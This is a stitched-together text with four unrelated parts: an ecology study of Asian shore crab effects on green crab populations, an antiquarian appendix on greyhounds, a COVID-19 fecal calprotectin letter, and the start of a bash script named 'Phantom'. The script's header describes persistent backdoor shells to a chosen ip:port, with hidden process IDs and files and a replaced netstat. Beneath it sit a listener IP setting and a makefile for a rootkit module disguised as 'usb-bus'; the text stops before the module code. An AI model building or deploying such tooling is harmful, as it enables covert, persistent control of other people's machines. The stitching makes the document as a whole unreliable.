To facilitate comparison with size--fecundity relationships previously reported for this species (Audet et al. [2008](#ece32008-bib-0003){ref-type="ref"}), I examined clutch size of green crabs as a function of the abdomen width (AW), measured at the base of the abdomen at its widest point. I determined clutch size by first determining the dry weight of the egg mass from each gravid crab after drying at 70°C for 72 h. I then divided the clutch mass by the mass of a single egg (0.00001373 g, Griffen [2014](#ece32008-bib-0012){ref-type="ref"}) to yield the total number of eggs present. I then determined the size--fecundity relationship using a linear model with number of eggs treated as the response variable and abdomen width as the predictor variable (Fig. [1](#ece32008-fig-0001){ref-type="fig"}).
::: {#ece32008-fig-0001 .fig}
Gravid female European green crab *Carcinus maenas*.
For comparison, I also calculated the predicted number of eggs for each crab based on its size using the following relationship given by Audet et al. ([2008](#ece32008-bib-0003){ref-type="ref"}) (*R* ^2^ = 0.916) for green crabs that occur further north in the absence of Asian shore crabs: $$\text{Number\ eggs} = 25531 \times \text{AW} - 347,866$$
I then compared this predicted number of eggs to the number that I observed using a paired *t*‐test.
Scaling from individual to population impacts {#ece32008-sec-0006}
I used a life‐table analysis to examine the relative impacts of predation mortality and loss of fecundity on green crab populations that overlap with Asian shore crabs. I first established a life table for green crabs from historic data at this site using data collected by Tyrrell ([2002](#ece32008-bib-0043){ref-type="ref"}) for the 5 years immediately preceding the arrival of the Asian shore crab at Odiorne Point, NH (Table [1](#ece32008-tbl-0001){ref-type="table-wrap"}a). Values for this life table were derived from previously documented life‐history characteristics for this species. Specifically, this life table was based on the finding that green crabs become sexually mature in their third year in this region (Berrill [1982](#ece32008-bib-0004){ref-type="ref"}) and that the maximum size of immature year 1 and year 2 green crabs are, respectively, 10 and 28 mm (Berrill [1982](#ece32008-bib-0004){ref-type="ref"}). I then calculated the maximum size of year 3, year 4, and year 5 crabs based on the finding that green crabs molt annually once sexual maturity is reached (Broekhuysen [1936](#ece32008-bib-0006){ref-type="ref"}) and that they grow by 29% with each molt (Crothers [1967](#ece32008-bib-0009){ref-type="ref"}). To calculate fecundity, I converted the maximum CW of each year class to abdomen width (AW) using the following equation derived from Fig. 13A of Audet et al. ([2008](#ece32008-bib-0003){ref-type="ref"}) (*r* ^2^ \> 0.95): $$\text{AW} = 0.38 \times \text{CW} + 1.6487.$$
::: {#ece32008-tbl-0001 .table-wrap}
Life tables used to examine the impacts of the Asian shore crab on green crab populations. Part (a) gives the standard life table based on historical data from the mean of 5 years of sampling prior to the invasion of Asian shore crabs to Odiorne State Park, NH, from Tyrrell ([2002](#ece32008-bib-0043){ref-type="ref"}). Parts (b--d) show the equations for the calculated life tables that include the impacts of predation by Asian shore crabs on 0‐year class green crabs (Part (b)), reduced green crab fecundity following interactions with Asian shore crabs (Part (c)), or both of these impacts simultaneously (Part (d)). See text for explanation and for further equations
Age/Stage \(a) Historic \(b) Predation
----------- --------------- ---------------- --------- ------------------------------------- ----------------------- -------------
Eggs 55,822 --- --- *E* ~*H*~ --- ---
0 year 32.168 5.763E‐4 --- *a* ~*0,H*~ *a* ~*0,P*~/*E* ~*H*~ ---
1 year 5.806 1.040E‐4 --- a~*0,P*~ × (1−*C* ~T~) *a* ~*1,P*~/*E* ~*H*~ ---
2 years 0.297 5.316E‐6 7524 *E* ~*H*~ × *l* ~*2,H*~/*l* ~*1,H*~ *a* ~*2,P*~/*E* ~*H*~ *m* ~*2,H*~
3 years 0.116 2.080E‐6 162,337 *E* ~*H*~ × *l* ~*3,H*~/*l* ~*2,H*~ *a* ~*3,P*~/*E* ~*H*~ *m* ~*3,H*~
4 years 0.090 1.618E‐6 384,587 *E* ~*H*~ × *l* ~*4,H*~/*l* ~*3,H*~ *a* ~*4,P*~/*E* ~*H*~ *m* ~*4,H*~
Age/Stage \(c) Fecundity \(d) Both
----------- ------------------------- ----------------------- ------------- ------------------------------------- ----------------------- -------------
Eggs *E* ~*F*~ --- --- *E* ~*F*~ --- ---
0 year *E* ~*F*~ × *l* ~*0,H*~ *a* ~*0,F*~/*E* ~*F*~ --- *E* ~*F*~ × *l* ~*0,H*~ *a* ~*0,B*~/*E* ~*F*~ ---
1 year *E* ~*F*~ × *l* ~*1,H*~ *a* ~*1,F*~/*E* ~*F*~ --- *a* ~*0,B*~ × (1−*C* ~T~) *a* ~*1,B*~/*E* ~*F*~ ---
2 years *E* ~*F*~ × *l* ~*2,H*~ *a* ~*2,F*~/*E* ~*F*~ *m* ~*2,F*~ *E* ~*F*~ × *l* ~*2,H*~/*l* ~*1,H*~ *a* ~*2,B*~/*E* ~*F*~ *m* ~*2,F*~
3 years *E* ~*F*~ × *l* ~*3,H*~ *a* ~*3,F*~/*E* ~*F*~ *m* ~*3,F*~ *E* ~*F*~ × *l* ~*3,H*~/*l* ~*2,H*~ *a* ~*3,B*~/*E* ~*F*~ *m* ~*3,F*~
4 years *E* ~*F*~ × *l* ~*4,H*~ *a* ~*4,F*~/*E* ~*F*~ *m* ~*4,F*~ *E* ~*F*~ × *l* ~*4,H*~/*l* ~*3,H*~ *a* ~*4,B*~/*E* ~*F*~ *m* ~*4,F*~
John Wiley & Sons, Ltd
I next used the relationship provided by Audet et al. ([2008](#ece32008-bib-0003){ref-type="ref"}) given above in equation [(1)](#ece32008-disp-0001){ref-type="disp-formula"} to convert AW to expected fecundity (*m* ~*x,H*~) for each year class (*x*) of mature crabs, where the subscript *H* indicates that this is the historical relationship before the arrival of the Asian shore crab. This size--fecundity relationship was derived from crabs on this same coast, but further north in Canada (as this is the only size--fecundity relationship available for this species), and therefore makes the assumption that this same relationship applies in this study region.
I used the average density of individuals in each year class (*a* ~*x*~) as measured in 310 sampling quadrats over a 5‐year period from 1997 to 2001 (Tyrrell [2002](#ece32008-bib-0043){ref-type="ref"}). I modeled a 1 m^2^ area and assumed spatial homogeneity throughout the invaded area so that patterns at this small scale can be scaled up to larger spatial scales. Survival of each age class (*l* ~*x*~) was calculated from the observed density and the number of eggs as shown in Table [1](#ece32008-tbl-0001){ref-type="table-wrap"}a. I determined the size‐dependent fecundity in each year class (*m* ~*x,H*~) using equation [(1)](#ece32008-disp-0001){ref-type="disp-formula"} and using the maximum size of crabs in that year class. I then calculated the total number of eggs produced over the modeled area (*E* ~*H*~) by combining the size‐dependent fecundity and the density of crabs in each year class (*a* ~*x*~): $$E_{H} = \sum_{x = 2 - 4}m_{x,H} \times a_{x}.$$
I then assessed the sensitivity of population growth rates to predation by the Asian shore crab, to loss of fecundity resulting from interactions with the Asian shore crab, and to the combination of predation and loss of fecundity. I did this by constructing three additional life tables as follows.
The predation impact life table was constructed based on evidence that Asian shore crab predation and cannibalism reduce survival of newly settle green crabs by similar amounts (Lohrer and Whitlatch [2002](#ece32008-bib-0027){ref-type="ref"}) and assumed that predation by Asian shore crabs does not appreciably influence the survival of larger green crabs (Table [1](#ece32008-tbl-0001){ref-type="table-wrap"}b). Thus, I calculated the historic differences in the density of zero‐year class and 1‐year class crabs and assumed that this was due to cannibalism (81.9% mortality). I then assumed that predation by Asian shore crabs would cause the same amount of mortality. However, because an individual green crab that is consumed by a cannibal cannot also be consumed by an Asian shore crab, I combined the impacts of these two predators using the multiplicative risk model that is commonly used to combine the impacts of multiple predators on shared prey (Sih et al. [1998](#ece32008-bib-0040){ref-type="ref"}): $$C_{T} = C_{C} + C_{A} - C_{C} \times C_{A}.$$where *C* ~T~ is total proportional consumption, and *C* ~C~ and *C* ~A~ are the proportional consumption from cannibalism and Asian shore crabs, respectively. This yielded a combined mortality of 96.7% of zero‐year class green crabs from cannibalism and predation. I assumed that survival and fecundity at all other size classes would be identical to historical levels. I therefore calculated the projected number of crabs in each size class (*a* ~*x,P*~) based on observed historical numbers and proportional survival from one size class to the next.
The reduced fecundity impact life table was constructed by assuming that interactions with the Asian shore crab reduce the fecundity of the green crab, but that survival is identical to historical levels for each size class (Table [1](#ece32008-tbl-0001){ref-type="table-wrap"}c). To do this, I replaced the historical size--fecundity (*m* ~*x,H*~) relationship given in equation [(4)](#ece32008-disp-0004){ref-type="disp-formula"} above, with the size--fecundity relationship reported in this study (see [Results](#ece32008-sec-0007){ref-type="sec"} for equation). Thus, the total number of eggs produced m^−2^ was determined as: $$E_{F} = \sum_{x = 2 - 4}m_{x,F} \times a_{x}.$$
The last life table included both the impacts of predation from Asian shore crabs and reduced fecundity to examine their combined impacts (Table [1](#ece32008-tbl-0001){ref-type="table-wrap"}d). This was made using a combination of the methods described in the two preceding paragraphs. Finally, I calculated the per capita population growth (*R* ~0~) for green crabs using each of the four life tables as: $$R_{0} = \sum l_{x}m_{x}.$$
I then used these population growth rates to project the population forward from a pre‐Asian shore crab density of 79 individuals m^−2^ (Tyrrell [2002](#ece32008-bib-0043){ref-type="ref"}) for 5 years postinvasion to examine the relative impacts of these two stressor mechanisms.
Field population sampling {#ece32008-sec-0008}
Across both sites combined, I collected a total of 171 mature‐sized female crabs. Of these, 46 were gravid, 66 were at various stages of vitellogenesis, and 59 were nonreproductive.
Size versus diet {#ece32008-sec-0009}
I found that for adult female crabs, the relative trophic position, as indicated by *δ* ^15^N, increased with crab size. Overall, relative trophic position increased by approximately 0.044 trophic position with each mm increase in CW (*P* \< 0.0001, Fig. [2](#ece32008-fig-0002){ref-type="fig"}). However, there was considerable variation in individual trophic position that was not explained by body size (*R* ^2^ = 0.109).
::: {#ece32008-fig-0002 .fig}
Relative trophic position, as determined using *δ* ^15^N, as a function of carapace width of the green crab *Carcinus maenas* collected from the New Hampshire coast.
Size versus fecundity {#ece32008-sec-0010}
As expected, I found that egg production increased strongly with crab size, although it was lower than that predicted using the previously published size--fecundity relationship (*t* = 13.09, *P *\< 0.0001, Fig. [3](#ece32008-fig-0003){ref-type="fig"}). Overall, the observed clutch size increased by 12,612 eggs with each mm increase in AW (*P* \< 0.00001, *R* ^2^ = 0.506, Fig. [3](#ece32008-fig-0003){ref-type="fig"}).
::: {#ece32008-fig-0003 .fig}
Relationship between the number of eggs being carried versus abdomen width for *Carcinus maenas*. Circles indicate predicted egg numbers based on the relationship given in equation [(1)](#ece32008-disp-0001){ref-type="disp-formula"} for green crabs further north where *Hemigrapsus sanguineus* are not found. Triangles indicate the observed egg numbers from *C. maenas* sampled on the New Hampshire coast. Regression line is for observed relationship.
Scaling from individual to population impacts {#ece32008-sec-0011}
Based on the mean of the densities of green crabs at Odiorne Point State Park from the 5 years preceding the invasion of this site by the Asian shore crab, the historic per capita population growth rate (*R* ~*0*~) of green crabs at this site was 1.0, indicating a stable population (Table [1](#ece32008-tbl-0001){ref-type="table-wrap"}a). Assuming that cannibalism and predation can have similar impacts on green crab survival, and combining these two sources of mortality using the multiplicative risk model, resulted in predation by Asian crabs alone reducing the per capita population growth rate of green crabs to *R* ~*0*~ = 0.181. Replacing the historic fecundity levels with the size--fecundity relationship reported here, reduced fecundity of green crabs because of interactions with Asian shore crabs decreases the per capita population growth rate to *R* ~*0*~ = 0.108. And combining the impacts of predation and reduced fecundity simultaneously further reduces the green crab per capita population growth rate to *R* ~*0*~ = 0.019. When these respective per capita population growth rates were used to project the population forward from its historic mean density of 79 individuals m^−2^, it was evident that both predation and loss of fecundity are capable of drastically reducing green crab population levels over short time scales that are consistent with previously documented declines of this species. Overall, this analysis suggests that loss of fecundity was slightly more detrimental than predation, although both were capable of producing the previously observed declines in green crab populations with the arrival of the Asian shore crab (Fig. [4](#ece32008-fig-0004){ref-type="fig"}).
::: {#ece32008-fig-0004 .fig}
Projected population densities of *Carcinus maenas* in the absence of interactions with *Hemigrapsus sanguineus* (Historic), as a result of predation by *H. sanguineus* on *C. maenas* 0‐year class (Predation), as a result of reduced fecundity caused by diet shifts induced by *H. sanguineus* (Fecundity), and as a result of both predation and reduced fecundity (Both). Projections were calculated using the life tables given in Table [1](#ece32008-tbl-0001){ref-type="table-wrap"}.
I have shown that diet of adult European green crabs is highly variable and that while animal consumption does increase with body size, there is considerable individual diet variation not explained by body size. This residual variation may reflect spatial variation in food availability, individual dietary specialization (Bolnick et al. [2003](#ece32008-bib-0005){ref-type="ref"}), and/or variation in the intensity with which interactions with the Asian shore crab influence individuals of this species. In addition, I have also shown a familiar size--fecundity relationship for green crabs (Audet et al. [2008](#ece32008-bib-0003){ref-type="ref"}). However, variation in the relationship seen here was much greater than that seen in this species previously (*R* ^2^ = 0.506 in this study vs. *R* ^2^ = 0.916 previously reported in Audet et al. [2008](#ece32008-bib-0003){ref-type="ref"}). This may be a function of the large variation in trophic position observed here, because animal consumption, but not plant consumption, increases fecundity in green crabs (Griffen [2014](#ece32008-bib-0012){ref-type="ref"}).
Not only was there greater variation in the size--fecundity relationship than has previously been seen for this species, I also found much lower individual fecundity overall than has previously been reported for this species (Broekhuysen [1936](#ece32008-bib-0006){ref-type="ref"}; Crothers [1967](#ece32008-bib-0009){ref-type="ref"}; Audet et al. [2008](#ece32008-bib-0003){ref-type="ref"}). In fact, only the three largest crabs sampled had fecundity anywhere in the range previously reported for this species (140,000--200,000 eggs). I based this study on the assumption that previously demonstrated impacts of Asian shore crabs on green crab diet and reproduction in this same area (Griffen et al. [2008](#ece32008-bib-0017){ref-type="ref"}, [2011](#ece32008-bib-0018){ref-type="ref"}) are responsible for this decline in fecundity. However, I did not directly measure the impacts of Asian shore crabs on fecundity of the individual green crabs used in this study, and it is possible that factors other than interactions between these species were responsible for some of the observed trends. For instance, prey recruitment at this site is temporally variable (Griffen and Byers [2009](#ece32008-bib-0013){ref-type="ref"}), and poor prey recruitment could limit food availability and would therefore contribute to the patterns seen here. It is not known whether this occurred.
The life‐table analysis used here to scale up to population impacts included several assumptions. For instance, it assumed that all females were reproductive, which was, in fact, not the case. I found that only 65% of crabs were gravid or vitellogenic at the time of capture. This is similar to previous studies in this region that found approximately 75% of captured females to be gravid (Ropes [1968](#ece32008-bib-0038){ref-type="ref"}), although the number that may have been vitellogenic in this previous study is unknown. Nonreproductive females could be incorporated into the life‐history analysis by modifying the survival function. However, I did not do this because individuals that did not reproduce this year may reproduce next year, and it is uncertain whether a constant proportion of the female population reproduces each year, or how or whether this may vary for different size classes.
The life‐table analysis here also assumed that the size--fecundity relationship observed by Audet et al. ([2008](#ece32008-bib-0003){ref-type="ref"}) in Canada, shown in equation [(1)](#ece32008-disp-0001){ref-type="disp-formula"}, is also valid at my study sites on the New Hampshire coast. This assumption only influences the calculation of *R* ~*0*~ from the historic life table. This assumption may not be strictly correct, as fecundity is known to vary with latitude for other crustaceans (Wägele [1987](#ece32008-bib-0045){ref-type="ref"}). However, this relationship yielded a per capita population growth rate *R* ~*0*~ = 1.0, indicating a stable population that was neither growing nor shrinking. This is consistent with green crab populations that were stable in this area for many decades before the arrival of Asian shore crabs. Thus, this size--fecundity relationship measured further north may not be too dissimilar from the historic size--fecundity relationship at my sites.
Finally, the life‐history analysis used here assumed spatial homogeneity throughout the invaded area, allowing direct inference from the 1 m^2^ over which calculations were conducted to larger spatial scales (i.e., to populations). This assumption is likely valid, or nearly so, over relatively small spatial scales, such as within a single beach. However, over larger spatial scales, there is spatial heterogeneity that offers green crabs a spatial refuge. For instance, green crabs are common in both salt marsh (Hampel et al. [2003](#ece32008-bib-0020){ref-type="ref"}) and subtidal habitats (Hunter and Naylor [1993](#ece32008-bib-0023){ref-type="ref"}). And while Asian shore crabs have been found occupying fiddler crab burrows in salt marsh habitats (Brousseau et al. [2003](#ece32008-bib-0007){ref-type="ref"}) and inhabiting subtidal habitats (Gilman and Grace [2009](#ece32008-bib-0011){ref-type="ref"}), they are not abundant in either of these habitats and likely interact with green crabs in these habitats only weakly. Spillover from these refuge habitats may explain the persistence of green crabs at low abundance in rocky habitats where Asian shore crabs thrive. Lastly, there is also a latitudinal gradient, with Asian shore crabs being more abundant toward Long Island Sound than in more northern regions of the Gulf of Maine. Thus, the predation and reproductive impacts of Asian shore crabs on green crabs are likely to also be latitudinally dependent.
Scaling from individuals to population responses to stressors {#ece32008-sec-0013}
I used life tables to scale up multiple pathways of interaction between two invasive species. My analysis showed that both predation and reduced fecundity are capable of producing the declines in green crab abundance that have been observed with the introduction of the Asian shore crab. The predominant mechanism responsible for the observed dynamics may potentially vary spatially and/or temporally, but the strength of both mechanisms may be expected to vary together. For instance, predation and lost fecundity may both be expected to decrease in importance in years with high recruitment of mussels, barnacles, or other important prey species. High abundance of important prey species may reduce predation on green crabs by providing Asian shore crabs with alternative diet choices and may reduce losses of fecundity by reducing exploitative food competition between the two species. Additionally, the predominance of intertidal habitat structure (i.e., boulders) and the reduced density of Asian shore crabs should mean that interactions between these species are less intense in northern regions (e.g., Maine) as compared to southern regions (e.g., Long Island Sound), and therefore, both predation and lost fecundity should decrease with latitude.
Given increasing human populations and attending human‐induced stressors in natural systems, accumulating stressors mean that many systems are dealing with multiple stressors simultaneously. As a result, the combined impacts of multiple stressors have become an important area of research (e.g., reviewed in Heugens et al. [2001](#ece32008-bib-0021){ref-type="ref"}, Crain et al. [2008](#ece32008-bib-0333){ref-type="ref"}). The life‐table approach used here provides a viable method for examining the population‐level impacts of multiple stressors, as long as the individual mechanistic response to the stressor can be linked back to impacts on survival or fecundity.
Conflict of Interest {#ece32008-sec-0015}
This work was supported by a grant from the National Science Foundation (OCE‐1129166) and by the University of South Carolina. Hallie Mosblack assisted with the data collection for this study.
|
298 APPENDIX.
reclaimed, be derived, through such intermediate links, from the same parent source ? The coarser varieties of the North, and of the sister Isle, are rarely seen in South Britain ; and though at first closely connected with the Celt, and amongst his earliest descen dants, are now considered farther removed from the genuine type of Celtica, the oveprpayos kvwv of the Greek manual, in consequence of commixture with the canes bellicosi and sagaces.
The strongest evidence we possess of the greyhound's existence in Britain, in the reigns of Carus, his sons, and Diocletian, is afforded by the Cynegeticon of the African poet. For although I deny that this hound can be entitled to the local epithet Britannicus, bestowed on him by Spelman, to the superseding his usual titles, I readily grant, at the same time, that the exported veloces of Britain, of the Nemesian. Cy- Cynegeticon alluded to, were greyhounds. Nemesian must be con neget. vs. 124. gj^j^j-^^j almost entirely the poet of the pedibus celeres ;— at least, in that portion of his hunting-poem which has survived the ravages of time. But the usual terms by which the greyhound is designated in Ovid, Gratius, Martial, and Arrian, are no where found in the poet of Carthage ; in place of which invariably occur the terms caluli veloces. That by these terms the latter author intends hounds of the Celtic type, I have, on a careful re- perusal of his work, not the least doubt ; though, when writing the note to the Preface, p. 11, I was inclined to view the veloces, particularly specified by Nemesian as of British export, as nimble harriers, rather than genuine greyhounds ; and did not in consequence adduce the passage alluded to, when there endeavouring to fix the period of the latter's introduction into Britain. Indeed, J. Vlitius, himself sceptical at first as to the na ture of these swift-footed hounds, (see his remarks on Nemesian vs. 124.,) comes round to my conclusion in the progress of his anno tations, (see his notes on vs. 233.). Nearly the whole of Nemesian 's instructions have reference to canes cursores, beginning with their exportation from our own island — where, doubtless, they had been previously imported from Gaul —
|
1. Main Text {#sec1-tropicalmed-05-00147}
At the time of writing this letter, the principal cause of mortality in patients with severe acute respiratory syndrome coronavirus 2 (SARS-CoV-2) infection is respiratory failure with exudative diffuse alveolar damage and massive capillary congestion often accompanied by microthrombi or, in lower percentages, by generalized thrombotic microangiopathy, as reported by post-mortem examinations \[[@B1-tropicalmed-05-00147]\]. With coronavirus infectious disease 2019 (COVID-19) being conceived as a solely respiratory disease \[[@B2-tropicalmed-05-00147],[@B3-tropicalmed-05-00147]\], the scientific community initially assumed that the lungs represented the preferred and initial site of viral proliferation, as well as its primary source for shedding and transmission.
2. Gastrointestinal Manifestations of COVID-19 {#sec2-tropicalmed-05-00147}
Recent findings indicated that SARS-CoV-2 could bind to gastrointestinal cells via specific receptors (such as the angiotensin converting enzyme-2 (ACE2) receptor and the transmembrane serine protease 2) \[[@B4-tropicalmed-05-00147]\], whose interaction is supposed to promote local inflammation by massive cytokine and chemokine release \[[@B5-tropicalmed-05-00147]\]. Additionally, an autoptic study on the small intestine of two COVID-19 patients showed endotheliitis of the submucosa vessels and evidence of direct viral infection of endothelial cells \[[@B6-tropicalmed-05-00147]\].
Regarding the clinical presentation, gastrointestinal symptoms are present in up to 28% of patients with COVID-19 \[[@B7-tropicalmed-05-00147],[@B8-tropicalmed-05-00147],[@B9-tropicalmed-05-00147]\], and fecal SARS-CoV-2-RNA was detected in approximately 50% of positive individuals \[[@B8-tropicalmed-05-00147],[@B9-tropicalmed-05-00147],[@B10-tropicalmed-05-00147]\]. Recently, Effenberger et al. \[[@B5-tropicalmed-05-00147]\] proposed the role of fecal calprotectin (FC) as a marker of intestinal inflammation in COVID-19 patients who developed gastrointestinal (GI) symptoms. In particular, the authors detected significantly higher FC values in patients with acute diarrhea if compared to patients without diarrhea or with ceased diarrhea (\>48 h). In this pilot study, we aimed to externally validate the results of Effenberger et al. \[[@B5-tropicalmed-05-00147]\] by determining the actual absence of significant FC concentrations in patients who did not present gastrointestinal symptoms and without previous history of inflammatory bowel disease (IBD).
3. Materials and Methods {#sec3-tropicalmed-05-00147}
We performed a prospective observational cross-sectional study by enrolling 25 consecutive COVID-19 inpatients from May 2020 to June 2020, who were admitted without gastrointestinal symptoms and a previous history of IBD.
SARS-CoV-2 detection in nasopharyngeal swabs was determined by PCR (LightMix^®^-Modular-Wuhan CoV-RdRP and E genes). FC concentration was determined by the DiaSorin-LIAISON^®^-Calprotectin according to the manufacturer's specification (normal range \<50 mg/kg). Both tests were performed at admission. Potential infective causes for FC increase were investigated through canonical stool analysis for common bacteria, viral and parasitic pathogens.
Data were displayed as median (Quartile 1; Quartile 3). We explored the correlation between continuous variables via Spearman's correlation coefficient, considering a statistically significant two-tailed *p*-value \< 0.05.
4. Results {#sec4-tropicalmed-05-00147}
From the 25 original patients, 21 (84%) showed increased FC, with median values of 116 (87.5; 243.5) mg/kg despite being asymptomatic for GI symptoms, and a median D-Dimer of 1.32 (0.82; 2) mg/L (normal value \< 0.5 mg/L). Their clinical characteristics, possible risk factors, and biochemical parameters are reported in [Table 1](#tropicalmed-05-00147-t001){ref-type="table"}. We did not detect any significant correlation between FC and the C reactive protein (CRP), white blood cell count (WBC), platelet count, ferritin, lactate dehydrogenase (LDH) or albumin. However, we found a strong positive correlation between FC and D-Dimer (r = 0.745, *p* \< 0.0001).
4.1. Intestinal Perforation {#sec4dot1-tropicalmed-05-00147}
Two of the enrolled patients developed intestinal perforation. They were admitted to the emergency department for high-grade fever, cough and dyspnea. Both resulted positive to SARS-CoV-2 in nasopharyngeal swabs, and according to their comorbidities, they were admitted to the hospital.
The first patient, a 68-year-old female with an FC of 216 mg/kg, WBC of 17,940 cells/mm^3^, CRP of 94 mg/L and D-Dimer of 1.28 mg/LFEU developed severe abdominal pain 20 days after hospital admission. The contrast-enhanced abdominal computed tomography (CT) showed rectal wall and sigmoid colon thickening surrounded by extraluminal free air; a small-sized fluid collection and a smoothly thickened peritoneum were noted. The patient was treated conservatively.
The second patient, an 84-year-old female with an FC of 290 mg/kg, WBC of 5990 cells/mm^3^, CRP of 290 mg/dL and D-Dimer of 2.1 mg/LFEU developed severe abdominal pain the day after admission and septic shock. The contrast-enhanced abdominal CT showed rectal wall thickening, with free air organized circumferentially around the mesorectum, suggestive for retroperitoneal perforation; an inflammatory stranding of perivisceral fat tissue was also identified. The patient died the next day.
4.2. A Hypothesis on the Role of Thrombosis {#sec4dot2-tropicalmed-05-00147}
In contrast to Effenberger et al. \[[@B5-tropicalmed-05-00147]\], we detected an increase in FC concentration in 88.2% of patients without GI symptoms. Besides, our findings also represent the first report of a significant positive correlation between FC and D-Dimer. This particular discovery may change our current understanding of COVID-19 intestinal-disease pathogenesis, shedding new light on the potential role of thrombosis and the consequent hypoxic intestinal damage. Indeed, FC is mainly expressed by neutrophils \[[@B11-tropicalmed-05-00147]\], whose functions are severely affected by intestinal ischemia \[[@B12-tropicalmed-05-00147]\]. The two patients that developed bowel perforation showed on the CT rectal and sigmoid colon wall thickening. In non-COVID-19 patients, left flexure and sigmoid colon segments have the highest risk of ischemic colitis, while distal rectum is usually spared due to its dual blood supply; at variance, in COVID-19 patients colon/rectal thickening was previously reported in seven cases \[[@B13-tropicalmed-05-00147]\] in agreement with our data, supporting a relationship between intestinal damage and COVID-19 infection. Notably, D-Dimer was found to increase in up to 47% of patients with COVID-19 at hospital admission \[[@B14-tropicalmed-05-00147]\], which resulted in higher mortality rates despite not presenting pulmonary embolism or deep vein thrombosis. Was the gut being responsible for these patients' death? Unfortunately, this question has no definitive answer, but according to a recent study, bowel abnormalities were a common finding (31%) during abdominal imaging of individuals with COVID-19. Patients who underwent laparotomy often showed histological ischemia due to small vessel thrombosis \[[@B13-tropicalmed-05-00147]\].
That being said, our data should be taken with caution due to the relatively small sample size and the possible limitations related to selection bias. While waiting for the additional validation, and data on gut histopathology (autoptic reports or in vivo endoscopic biopsies) in COVID-19 patients, we firmly believe that the correlation between FC and D-Dimer may yield the secrets behind the COVID-19 Pandora's box.
S.D.B., G.S., V.Z., M.C., A.A.O., A.P., A.C., F.M., R.L. and L.S.C. wrote the manuscript. M.G., S.D.B., V.Z., F.C., R.L., M.C., A.A.O. and L.S.C. were involved in patient care and contributed to the preparation of the manuscript. G.S., V.Z., A.P. and A.C., given their expertise in the field, were involved in the discussion of the gut damage etiology. All authors have read and agreed to the published version of the manuscript.
The authors did not receive funding for the current work.
The authors declare no conflict of interest.
The study protocol was approved by the institutional ethics commission (Comitato Etico Unico Regionale, CEUR) with the following number 2020-OS-072.
::: {#tropicalmed-05-00147-t001 .table-wrap}
Patients' Characteristics and Laboratory Parameters. Continuous Variables are Reported as the Median (Quartile1; Quartile3). CRP: C Reactive Protein; LDH: Lactate Dehydrogenase.
Characteristics Patients with Abnormal Fecal Calprotectin\ Patients without Abnormal Calprotectin\
*N* = 21 *N* = 4
---------------------------- -------------------------------------------- -----------------------------------------
Age, years 78.3 (69; 81.5) 76 (70; 84)
Gender, Male 15 (71.4%) 3 (75%)
BMI (kg/m^2^) 24 (21; 27) 25 (20; 26)
Hearth Diseases 10 (47.6%) 2 (50%)
Hypertension 7 (33.3%) 2 (50%)
Previous ACE-Inhibitors 5 (23.8%) 2 (50%)
Active Smokers 7 (33.3%) 1 (25%)
Antibiotic Therapy 5 (23.8%) 1 (25%)
Heparin Therapy 13 (61.9%) 2 (50%)
White Blood Cell Count 6530 (4050; 7350) 6110 (4350; 8365)
Platelets (10^9^/L) 205 (141;357) 189 (153; 265)
PCR (mg/dL) 31 (24; 91) 40 (8; 115)
LDH (U/L) 290 (195; 381) 250 (190; 300)
Ferritin (µg/L) 645 (520; 1210) 550 (420; 610)
Fecal Calprotectin (mg/kg) 116 (87.5; 243.5)
D-Dimer (mg/LFEU) 1.32 (0.82; 2) 0.87 (0.5; 1.23)
|
#!/bin/bash
: 'Phantom is a tool which creates backdoor shells from a target machine to a predifined ip:port (your machine) and
hides their pid, persisting through reboots. It also hides the files needed to perform the above and replaces netstat.
***Phantom was created for educational purposes. Stay away from illegal activities.***
Copyright © 2018 Konstantinos Sarantopoulos
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
The following are for the rootkit code which is mostly taken from: https://github.com/m0nad/Diamorphine
Copyright (c) 2014, Victor N. Ramos Mello
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
* The name of the author may not be used to endorse or promote products
derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL <COPYRIGHT HOLDER> BE LIABLE FOR ANY
DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
'
ip="127.0.0.1/9999" #change this according to the listening ip and port
#change also the ip and port in the _hiding variable (use search and AAA to find it in the document)
#and the ip:port that netstat is gonna hide (use search and QQQ to find it in the document)
#the makefile for the usb-bus rootkit module
diamorphine_makefile=$(cat << \EOF
obj-m := usb-bus.o
KERNEL_DIR = /lib/modules/$(shell uname -r)/build
PWD = $(shell pwd)
all:
make -C $(KERNEL_DIR) SUBDIRS=$(PWD) modules
EOF
)
#that's the code for the usb-bus rootkit module
